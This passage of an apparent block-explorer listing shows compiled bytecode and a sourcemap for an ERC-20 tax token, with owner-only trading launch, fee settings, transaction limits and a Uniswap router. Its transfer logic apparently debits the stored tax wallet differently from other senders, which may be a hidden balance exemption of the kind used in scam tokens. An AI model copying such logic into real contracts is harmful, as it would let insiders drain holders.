1017a565b34801561030657600080fd5b506101c8600c5481565b34801561031c57600080fd5b506101a361032b366004611687565b610ab3565b34801561033c57600080fd5b506101c8610ac0565b34801561035157600080fd5b506101c8610360366004611733565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039757600080fd5b506101446103a636600461177a565b610ad7565b6000546001600160a01b031633146103de5760405162461bcd60e51b81526004016103d5906117a8565b60405180910390fd5b600d5460ff16156104285760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016103d5565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b6000610491338484610b2c565b5060015b92915050565b6104a76009600a6118d7565b6104b490629896806118e6565b81565b60006104c56009600a6118d7565b6104d390633b9aca006118e6565b905090565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016103d5906117a8565b600d5460ff161561054b5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016103d5565b30600081815260016020526040902054600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590916105a9916105966009600a6118d7565b6105a490633b9aca006118e6565b610b2c565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062091906118fd565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a691906118fd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071791906118fd565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d0919061191a565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d9190611948565b5050565b600061085e848484610bfa565b6108ab84336105a485604051806060016040528060288152602001611a50602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611200565b5060019392505050565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016103d5906117a8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109535760405162461bcd60e51b81526004016103d5906117a8565b61095f6009600a6118d7565b61096d90633b9aca006118e6565b600b5561097c6009600a6118d7565b61098a90633b9aca006118e6565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96109ba6009600a6118d7565b6109c890633b9aca006118e6565b60405190815260200161047a565b6000546001600160a01b03163314610a005760405162461bcd60e51b81526004016103d5906117a8565b60198211158015610a12575060198111155b8015610a205750600d5460ff165b610a6c5760405162461bcd60e51b815260206004820152601860248201527f46696e616c205461783a20457863656564732076616c7565000000000000000060448201526064016103d5565b6007829055600881905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000610491338484610bfa565b610acc6009600a6118d7565b6104b49060646118e6565b6000546001600160a01b03163314610b015760405162461bcd60e51b81526004016103d5906117a8565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6001600160a01b03831615801590610b4c57506001600160a01b03821615155b610b985760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016103d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831615801590610c1a57506001600160a01b03821615155b610c665760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016103d5565b60008111610cc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d5565b600d5460ff16610d54576001600160a01b03821660009081526003602052604090205460ff1680610d1157506001600160a01b03831660009081526003602052604090205460ff165b610d545760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016103d5565b600d5462010000900460ff161580610d735750600d54610100900460ff165b15610e1e576001600160a01b038316600090815260016020526040902054610d9b908261123a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dca9082611283565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bed9085815260200190565b60006064610e41601e60095411610e3657600c610e3a565b6007545b84906112e2565b610e4b9190611965565b9050610e5f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e8e57506000546001600160a01b03848116911614155b1561116b576005546001600160a01b038581169116148015610ebe57506006546001600160a01b03848116911614155b8015610ee357506001600160a01b03831660009081526003602052604090205460ff16155b15610fcb57600b54821115610f3a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103d5565b600c5482610f5d856001600160a01b031660009081526001602052604090205490565b610f679190611987565b1115610fb55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d5565b60098054906000610fc58361199a565b91905055505b6005546001600160a01b038481169116148015610ff157506001600160a01b0384163014155b15611023576064611016601e6009541161100c57600c610e3a565b60085484906112e2565b6110209190611965565b90505b80600a60008282546110359190611987565b909155505030600090815260016020526040902054600d54610100900460ff1615801561106f57506005546001600160a01b038581169116145b80156110835750600d5462010000900460ff165b801561109157506000600954115b80156110b657506001600160a01b03851660009081526003602052604090205460ff16155b80156110db57506001600160a01b03841660009081526003602052604090205460ff16155b15611169576110ec6009600a6118d7565b6110f79060646118e6565b81111561115857600061110c6009600a6118d7565b61111990629896806118e6565b8211611125578161113e565b6111316009600a6118d7565b61113e90629896806118e6565b90506111568185116111505784611364565b81611364565b505b47611162476114d8565b506000600a555b505b80156111e5573060009081526001602052604090205461118b9082611283565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111dc9085815260200190565b60405180910390a35b6111fa8484846111f5818661123a565b611512565b50505050565b600081848411156112245760405162461bcd60e51b81526004016103d59190611620565b50600061123184866119b3565b95945050505050565b600061127c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611200565b9392505050565b6000806112908385611987565b90508381101561127c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d5565b6000826000036112f457506000610495565b600061130083856118e6565b90508261130d8583611965565b1461127c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d5565b600d805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a8576113a86119c6565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611401573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142591906118fd565b81600181518110611438576114386119c6565b6001600160a01b03928316602091820292909201015260065461145e9130911684610b2c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114979085906000908690309042906004016119dc565b600060405180830381600087803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561084d573d6000803e3d6000fd5b60045460019060009061153290879084906001600160a01b0316876115ed565b6001600160a01b0387166000908152600160205260409020549091506115599082906119b3565b6001600160a01b038088166000908152600160205260408082209390935590871681522054611589908490611987565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115dd9087815260200190565b60405180910390a3505050505050565b6000826001600160a01b0316856001600160a01b031603611616576116136001856119b3565b93505b61123184836112e2565b60006020808352835180602085015260005b8181101561164e57858101830151858201604001528201611632565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461168457600080fd5b50565b6000806040838503121561169a57600080fd5b82356116a58161166f565b946020939093013593505050565b6000806000606084860312156116c857600080fd5b83356116d38161166f565b925060208401356116e38161166f565b929592945050506040919091013590565b60006020828403121561170657600080fd5b813561127c8161166f565b6000806040838503121561172457600080fd5b50508035926020909101359150565b6000806040838503121561174657600080fd5b82356117518161166f565b915060208301356117618161166f565b809150509250929050565b801515811461168457600080fd5b6000806040838503121561178d57600080fd5b82356117988161166f565b915060208301356117618161176c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182e578160001904821115611814576118146117dd565b8085161561182157918102915b93841c93908002906117f8565b509250929050565b60008261184557506001610495565b8161185257506000610495565b816001811461186857600281146118725761188e565b6001915050610495565b60ff841115611883576118836117dd565b50506001821b610495565b5060208310610133831016604e8410600b84101617156118b1575081810a610495565b6118bb83836117f3565b80600019048211156118cf576118cf6117dd565b029392505050565b600061127c60ff841683611836565b8082028115828204841417610495576104956117dd565b60006020828403121561190f57600080fd5b815161127c8161166f565b60008060006060848603121561192f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195a57600080fd5b815161127c8161176c565b60008261198257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610495576104956117dd565b6000600182016119ac576119ac6117dd565b5060010190565b81810381811115610495576104956117dd565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611a2e5784516001600160a01b031683529383019391830191600101611a09565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfa073af7b5b9fce516ba5ffa8a7755ca90b7fda9c996a3f08181b67b451f4dc64736f6c63430008190033

Deployed Bytecode Sourcemap

3812:9781:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12806:218;;;;;;;;;;;;;:::i;:::-;;5904:83;;;;;;;;;;-1:-1:-1;5974:5:0;;;;;;;;;;;-1:-1:-1;;;5974:5:0;;;;5904:83;;;;5974:5;5904:83;:::i;:::-;;;;;;;;6773:186;;;;;;;;;;-1:-1:-1;6773:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6773:186:0;1023:187:1;4966:64:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4966:64:0;1215:177:1;6175:95:0;;;;;;;;;;;;;:::i;11992:808::-;;;;;;;;;;;;;:::i;6965:446::-;;;;;;;;;;-1:-1:-1;6965:446:0;;;;;:::i;:::-;;:::i;6086:83::-;;;;;;;;;;-1:-1:-1;6086:83:0;;4816:1;2000:36:1;;1988:2;1973:18;6086:83:0;1858:184:1;6276:119:0;;;;;;;;;;-1:-1:-1;6276:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6369:18:0;6342:7;6369:18;;;:9;:18;;;;;;;6276:119;2849:148;;;;;;;;;;;;;:::i;13030:153::-;;;;;;;;;;;;;:::i;5037:56::-;;;;;;;;;;;;;;;;13189:366;;;;;;;;;;-1:-1:-1;13189:366:0;;;;;:::i;:::-;;:::i;2639:79::-;;;;;;;;;;-1:-1:-1;2677:7:0;2704:6;2639:79;;-1:-1:-1;;;;;2704:6:0;;;2698:51:1;;2686:2;2671:18;2639:79:0;2552:203:1;5100:58:0;;;;;;;;;;;;;;;;6401:192;;;;;;;;;;-1:-1:-1;6401:192:0;;;;;:::i;:::-;;:::i;4894:65::-;;;;;;;;;;;;;:::i;6599:168::-;;;;;;;;;;-1:-1:-1;6599:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6732:18:0;;;6705:7;6732:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6599:168;7417:130;;;;;;;;;;-1:-1:-1;7417:130:0;;;;;:::i;:::-;;:::i;12806:218::-;2764:6;;-1:-1:-1;;;;;2764:6:0;286:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;;;;;;;;;12867:11:::1;::::0;::::1;;12866:12;12858:45;;;::::0;-1:-1:-1;;;12858:45:0;;4226:2:1;12858:45:0::1;::::0;::::1;4208:21:1::0;4265:2;4245:18;;;4238:30;-1:-1:-1;;;4284:18:1;;;4277:50;4344:18;;12858:45:0::1;4024:344:1::0;12858:45:0::1;12914:11;:18:::0;;12943;-1:-1:-1;;12943:18:0;;;;;;;;12977:39:::1;::::0;;-1:-1:-1;4535:41:1;;12914:18:0;13004:11;;::::1;12914:18;13004:11;4619:14:1::0;4612:22;4607:2;4592:18;;4585:50;12977:39:0::1;::::0;4508:18:1;12977:39:0::1;;;;;;;;12806:218::o:0;6773:186::-;6873:4;6890:39;286:10;6913:7;6922:6;6890:8;:39::i;:::-;-1:-1:-1;6947:4:0;6773:186;;;;;:::o;4966:64::-;5015:15;4816:1;5015:2;:15;:::i;:::-;5004:26;;:8;:26;:::i;:::-;4966:64;:::o;6175:95::-;6228:7;4872:15;4816:1;4872:2;:15;:::i;:::-;4859:28;;:10;:28;:::i;:::-;6248:14;;6175:95;:::o;11992:808::-;2764:6;;-1:-1:-1;;;;;2764:6:0;286:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;12050:11:::1;::::0;::::1;;12049:12;12041:44;;;::::0;-1:-1:-1;;;12041:44:0;;6530:2:1;12041:44:0::1;::::0;::::1;6512:21:1::0;6569:2;6549:18;;;6542:30;-1:-1:-1;;;6588:18:1;;;6581:49;6647:18;;12041:44:0::1;6328:343:1::0;12041:44:0::1;12136:4;12096:19;6369:18:::0;;;:9;:18;;;;;;12153:15:::1;:104:::0;;-1:-1:-1;;;;;;12153:104:0::1;12204:42;12153:104:::0;;::::1;::::0;;;6369:18;;12268:58:::1;::::0;4872:15:::1;4816:1;4872:2;:15;:::i;:::-;4859:28;::::0;:10:::1;:28;:::i;:::-;12268:8;:58::i;:::-;12371:15;;;;;;;;;-1:-1:-1::0;;;;;12371:15:0::1;-1:-1:-1::0;;;;;12371:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12353:55:0::1;;12431:4;12451:15;;;;;;;;;-1:-1:-1::0;;;;;12451:15:0::1;-1:-1:-1::0;;;;;12451:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12353:131;::::0;-1:-1:-1;;;;;;12353:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7162:15:1;;;12353:131:0::1;::::0;::::1;7144:34:1::0;7214:15;;7194:18;;;7187:43;7079:18;;12353:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12337:13;:147:::0;;-1:-1:-1;;;;;;12337:147:0::1;-1:-1:-1::0;;;;;12337:147:0;;::::1;;::::0;;12495:15:::1;::::0;::::1;:31;12534:21;12579:4;12599:11:::0;-1:-1:-1;;286:10:0;12495:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12495:215:0;;;-1:-1:-1;;;;;7600:15:1;;;12495:215:0::1;::::0;::::1;7582:34:1::0;7632:18;;;7625:34;;;;7675:18;;;7668:34;;;;7718:18;;;7711:34;7782:15;;;7761:19;;;7754:44;12684:15:0::1;7814:19:1::0;;;7807:35;7516:19;;12495:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12728:13:0::1;::::0;12759:15:::1;::::0;12721:71:::1;::::0;-1:-1:-1;;;12721:71:0;;-1:-1:-1;;;;;12759:15:0;;::::1;12721:71;::::0;::::1;8338:51:1::0;-1:-1:-1;;8405:18:1;;;8398:34;12728:13:0;::::1;::::0;-1:-1:-1;12721:29:0::1;::::0;8311:18:1;;12721:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12030:770;11992:808::o:0;6965:446::-;7097:4;7114:36;7124:6;7132:9;7143:6;7114:9;:36::i;:::-;7161:220;7184:6;286:10;7232:138;7288:6;7232:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7232:19:0;;;;;;:11;:19;;;;;;;;286:10;7232:33;;;;;;;;;;:37;:138::i;7161:220::-;-1:-1:-1;7399:4:0;6965:446;;;;;:::o;2849:148::-;2764:6;;-1:-1:-1;;;;;2764:6:0;286:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;2956:1:::1;2940:6:::0;;2919:40:::1;::::0;-1:-1:-1;;;;;2940:6:0;;::::1;::::0;2919:40:::1;::::0;2956:1;;2919:40:::1;2987:1;2970:19:::0;;-1:-1:-1;;;;;;2970:19:0::1;::::0;;2849:148::o;13030:153::-;2764:6;;-1:-1:-1;;;;;2764:6:0;286:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;4872:15:::1;4816:1;4872:2;:15;:::i;:::-;4859:28;::::0;:10:::1;:28;:::i;:::-;13084:12;:22:::0;4872:15:::1;4816:1;4872:2;:15;:::i;:::-;4859:28;::::0;:10:::1;:28;:::i;:::-;13117:14;:24:::0;13157:18:::1;4872:15;4816:1;4872:2;:15;:::i;:::-;4859:28;::::0;:10:::1;:28;:::i;:::-;13157:18;::::0;1361:25:1;;;1349:2;1334:18;13157::0::1;1215:177:1::0;13189:366:0;2764:6;;-1:-1:-1;;;;;2764:6:0;286:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;13339:2:::1;13326:9;:15;;:35;;;;;13359:2;13345:10;:16;;13326:35;:50;;;;-1:-1:-1::0;13365:11:0::1;::::0;::::1;;13326:50;13304:124;;;::::0;-1:-1:-1;;;13304:124:0;;8895:2:1;13304:124:0::1;::::0;::::1;8877:21:1::0;8934:2;8914:18;;;8907:30;8973:26;8953:18;;;8946:54;9017:18;;13304:124:0::1;8693:348:1::0;13304:124:0::1;13439:12;:24:::0;;;13474:13:::1;:26:::0;;;13516:31:::1;::::0;;9220:25:1;;;9276:2;9261:18;;9254:34;;;13516:31:0::1;::::0;9193:18:1;13516:31:0::1;;;;;;;13189:366:::0;;:::o;6401:192::-;6504:4;6521:42;286:10;6545:9;6556:6;6521:9;:42::i;4894:65::-;4944:15;4816:1;4944:2;:15;:::i;:::-;4938:21;;:3;:21;:::i;7417:130::-;2764:6;;-1:-1:-1;;;;;2764:6:0;286:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7501:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:38;;-1:-1:-1;;7501:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7417:130::o;7553:313::-;-1:-1:-1;;;;;7660:19:0;;;;;;:44;;-1:-1:-1;;;;;;7683:21:0;;;;7660:44;7638:125;;;;-1:-1:-1;;;7638:125:0;;9501:2:1;7638:125:0;;;9483:21:1;9540:2;9520:18;;;9513:30;9579:33;9559:18;;;9552:61;9630:18;;7638:125:0;9299:355:1;7638:125:0;-1:-1:-1;;;;;7774:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7826:32;;1361:25:1;;;7826:32:0;;1334:18:1;7826:32:0;;;;;;;;7553:313;;;:::o;7872:2976::-;-1:-1:-1;;;;;7974:18:0;;;;;;:38;;-1:-1:-1;;;;;;7996:16:0;;;;7974:38;7952:120;;;;-1:-1:-1;;;7952:120:0;;9861:2:1;7952:120:0;;;9843:21:1;;;9880:18;;;9873:30;9939:34;9919:18;;;9912:62;9991:18;;7952:120:0;9659:356:1;7952:120:0;8100:1;8091:6;:10;8083:64;;;;-1:-1:-1;;;8083:64:0;;10222:2:1;8083:64:0;;;10204:21:1;10261:2;10241:18;;;10234:30;10300:34;10280:18;;;10273:62;-1:-1:-1;;;10351:18:1;;;10344:39;10400:19;;8083:64:0;10020:405:1;8083:64:0;8163:11;;;;8158:177;;-1:-1:-1;;;;;8217:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;8243:24:0;;;;;;:18;:24;;;;;;;;8217:50;8191:132;;;;-1:-1:-1;;;8191:132:0;;10632:2:1;8191:132:0;;;10614:21:1;10671:2;10651:18;;;10644:30;-1:-1:-1;;;10690:18:1;;;10683:50;10750:18;;8191:132:0;10430:344:1;8191:132:0;8350:11;;;;;;;8349:12;;:22;;-1:-1:-1;8365:6:0;;;;;;;8349:22;8345:223;;;-1:-1:-1;;;;;8406:15:0;;;;;;:9;:15;;;;;;:27;;8426:6;8406:19;:27::i;:::-;-1:-1:-1;;;;;8388:15:0;;;;;;;:9;:15;;;;;;:45;;;;8464:13;;;;;;;:25;;8482:6;8464:17;:25::i;:::-;-1:-1:-1;;;;;8448:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8509:26;;;;;;;;;;8528:6;1361:25:1;;1349:2;1334:18;;1215:177;8345:223:0;8578:17;8756:3;8635:105;4410:2;8665:9;;:27;8664:61;;4306:2;8664:61;;;8696:12;;8664:61;8635:6;;:10;:105::i;:::-;:124;;;;:::i;:::-;8610:149;;8782:7;2677;2704:6;-1:-1:-1;;;;;2704:6:0;;2639:79;8782:7;-1:-1:-1;;;;;8774:15:0;:4;-1:-1:-1;;;;;8774:15:0;;;:32;;;;-1:-1:-1;2677:7:0;2704:6;-1:-1:-1;;;;;8793:13:0;;;2704:6;;8793:13;;8774:32;8770:1819;;;8853:13;;-1:-1:-1;;;;;8845:21:0;;;8853:13;;8845:21;:72;;;;-1:-1:-1;8901:15:0;;-1:-1:-1;;;;;8887:30:0;;;8901:15;;8887:30;;8845:72;:116;;;;-1:-1:-1;;;;;;8939:22:0;;;;;;:18;:22;;;;;;;;8938:23;8845:116;8823:438;;;9014:12;;9004:6;:22;;8996:60;;;;-1:-1:-1;;;8996:60:0;;11203:2:1;8996:60:0;;;11185:21:1;11242:2;11222:18;;;11215:30;11281:27;11261:18;;;11254:55;11326:18;;8996:60:0;11001:349:1;8996:60:0;9131:14;;9121:6;9105:13;9115:2;-1:-1:-1;;;;;6369:18:0;6342:7;6369:18;;;:9;:18;;;;;;;6276:119;9105:13;:22;;;;:::i;:::-;:40;;9075:140;;;;-1:-1:-1;;;9075:140:0;;11687:2:1;9075:140:0;;;11669:21:1;11726:2;11706:18;;;11699:30;11765:28;11745:18;;;11738:56;11811:18;;9075:140:0;11485:350:1;9075:140:0;9234:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8823:438;9285:13;;-1:-1:-1;;;;;9279:19:0;;;9285:13;;9279:19;:44;;;;-1:-1:-1;;;;;;9302:21:0;;9318:4;9302:21;;9279:44;9275:327;;;9583:3;9377:182;4463:2;9415:9;;:28;9414:122;;4358:2;9414:122;;;9476:13;;9377:6;;:10;:182::i;:::-;:209;;;;:::i;:::-;9344:242;;9275:327;9629:9;9616;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;9702:4:0;9653:28;6369:18;;;:9;:18;;;;;;9746:6;;;;;;;9745:7;:47;;;;-1:-1:-1;9779:13:0;;-1:-1:-1;;;;;9773:19:0;;;9779:13;;9773:19;9745:47;:79;;;;-1:-1:-1;9813:11:0;;;;;;;9745:79;:130;;;;;4518:1;9845:9;;:30;9745:130;:176;;;;-1:-1:-1;;;;;;9897:24:0;;;;;;:18;:24;;;;;;;;9896:25;9745:176;:220;;;;-1:-1:-1;;;;;;9943:22:0;;;;;;:18;:22;;;;;;;;9942:23;9745:220;9723:855;;;4944:15;4816:1;4944:2;:15;:::i;:::-;4938:21;;:3;:21;:::i;:::-;10003:20;:40;10000:319;;;10068:19;5015:15;4816:1;5015:2;:15;:::i;:::-;5004:26;;:8;:26;:::i;:::-;10091:20;:34;10090:123;;10193:20;10090:123;;;5015:15;4816:1;5015:2;:15;:::i;:::-;5004:26;;:8;:26;:::i;:::-;10068:145;;10236:63;10263:11;10254:6;:20;10253:45;;10292:6;10236:16;:63::i;10253:45::-;10278:11;10236:16;:63::i;:::-;10045:274;10000:319;10384:21;10476:35;10489:21;10476:12;:35::i;:::-;-1:-1:-1;10561:1:0;10549:9;:13;9723:855;8808:1781;8770:1819;10603:13;;10599:176;;10682:4;10664:24;;;;:9;:24;;;;;;:39;;10693:9;10664:28;:39::i;:::-;10655:4;10637:24;;;;:9;:24;;;;;;;:66;;;;10723:40;;-1:-1:-1;;;;;10723:40:0;;;;;;;10753:9;1361:25:1;;1349:2;1334:18;;1215:177;10723:40:0;;;;;;;;10599:176;10785:55;10800:4;10806:2;10810:6;10818:21;10810:6;10829:9;10818:10;:21::i;:::-;10785:14;:55::i;:::-;7941:2907;7872:2976;;;:::o;1453:224::-;1573:7;1609:12;1601:6;;;;1593:29;;;;-1:-1:-1;;;1593:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1633:9:0;1645:5;1649:1;1645;:5;:::i;:::-;1633:17;1453:224;-1:-1:-1;;;;;1453:224:0:o;1311:136::-;1369:7;1396:43;1400:1;1403;1396:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1389:50;1311:136;-1:-1:-1;;;1311:136:0:o;1126:179::-;1184:7;;1216:5;1220:1;1216;:5;:::i;:::-;1204:17;;1245:1;1240;:6;;1232:46;;;;-1:-1:-1;;;1232:46:0;;12315:2:1;1232:46:0;;;12297:21:1;12354:2;12334:18;;;12327:30;12393:29;12373:18;;;12366:57;12440:18;;1232:46:0;12113:351:1;1683:246:0;1741:7;1765:1;1770;1765:6;1761:47;;-1:-1:-1;1795:1:0;1788:8;;1761:47;1818:9;1830:5;1834:1;1830;:5;:::i;:::-;1818:17;-1:-1:-1;1863:1:0;1854:5;1858:1;1818:17;1854:5;:::i;:::-;:10;1846:56;;;;-1:-1:-1;;;1846:56:0;;12671:2:1;1846:56:0;;;12653:21:1;12710:2;12690:18;;;12683:30;12749:34;12729:18;;;12722:62;-1:-1:-1;;;12800:18:1;;;12793:31;12841:19;;1846:56:0;12469:397:1;11503:483:0;5465:6;:13;;-1:-1:-1;;5465:13:0;;;;;11605:16:::1;::::0;;11619:1:::1;11605:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11605:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11605:16:0::1;11581:40;;11650:4;11632;11637:1;11632:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11632:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11676:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11676:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11632:7;;11676:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11666:4;11671:1;11666:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11666:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11741:15:::1;::::0;11709:62:::1;::::0;11726:4:::1;::::0;11741:15:::1;11759:11:::0;11709:8:::1;:62::i;:::-;11782:15;::::0;:196:::1;::::0;-1:-1:-1;;;11782:196:0;;-1:-1:-1;;;;;11782:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11863:11;;11782:15:::1;::::0;11905:4;;11932::::1;::::0;11952:15:::1;::::0;11782:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5501:6:0;:14;;-1:-1:-1;;5501:14:0;;;-1:-1:-1;;;;11503:483:0:o;11407:90::-;11464:8;;:25;;-1:-1:-1;;;;;11464:8:0;;;;:25;;;;;11482:6;;11464:8;:25;:8;:25;11482:6;11464:8;:25;;;;;;;;;;;;;;;;;;;10854:335;11013:8;;10970:1;;10958:11;;10992:39;;11002:4;;10970:1;;-1:-1:-1;;;;;11013:8:0;11023:7;10992:9;:39::i;:::-;-1:-1:-1;;;;;11060:15:0;;;;;;:9;:15;;;;;;10973:58;;-1:-1:-1;11060:26:0;;10973:58;;11060:26;:::i;:::-;-1:-1:-1;;;;;11042:15:0;;;;;;;:9;:15;;;;;;:44;;;;11113:13;;;;;;;:24;;11129:8;;11113:24;:::i;:::-;-1:-1:-1;;;;;11097:13:0;;;;;;;:9;:13;;;;;;;:40;;;;11153:28;;;;;;;;;;11172:8;1361:25:1;;1349:2;